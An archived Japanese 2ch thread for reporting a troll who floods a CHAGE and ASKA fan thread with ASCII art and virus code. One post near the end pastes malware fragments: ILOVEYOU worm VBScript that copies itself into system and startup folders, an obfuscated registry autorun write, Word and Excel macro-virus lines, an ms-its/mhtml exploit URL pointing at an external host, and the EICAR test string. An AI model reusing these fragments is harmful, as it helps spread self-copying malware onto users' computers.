★060317 CHAGE and ASKAスレ埋立荒らし報告スレ
■ このスレッドは過去ログ倉庫に格納されています
邦楽グループ板CHAGE and ASKAスレにて制裁行為と称し
巨大AAやウィルスコード等で埋め立てをする荒らしを報告するスレです。
実況板でCHAGE and ASKAスレを乱立している者と同一人物と思われます。
◆関連スレ
★060212 実況板CHAGE&ASKAスレ乱立荒らし報告スレ
http://qb5.2ch.net/test/read.cgi/sec2chd/1139670918/
◆報告の注意
http://info.2ch.net/wiki/pukiwiki.php?%B9%D3%A4%E9%A4%B7%CA%F3%B9%F0
◆書式
最新の書式はwikiを確認してください。
http://info.2ch.net/wiki/pukiwiki.php?%B3%C6%B9%D3%A4%E9%A4%B7%CA%F3%B9%F0%A4%CE%BD%F1%BC%B0
・書式を合わせて報告して下さい。フォーマットに沿っていないと原則スルーです。
◆報告書式 ※専用スレの為書式4でお願いします。
名前:*** ←(名前を記入)
AAコピペあらし ←(特徴・説明などあれば簡潔に)
http://sakura02.bbspink.com/test/read.cgi/eroaa/1234567890/123 2005/06/01 05:07:33 ID:abcdefgh
http://sakura02.bbspink.com/test/read.cgi/eroaa/1234567894/456 2005/06/01 05:09:01 ID:ijklmnop
http://sakura02.bbspink.com/test/read.cgi/eroaa/1234567899/123 2005/06/01 05:11:02 ID:abcdefgh ←(レス番URL)
※時系列で報告して下さい。
※曜日表示は消して報告して下さい。
※報告1レスあたり、指定するURLは10個程度迄、それ以上は分割して下さい。 こういったアラシ?なんかは時間がたつと自然消滅するものですよ <body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
?? ■ このスレッドは過去ログ倉庫に格納されています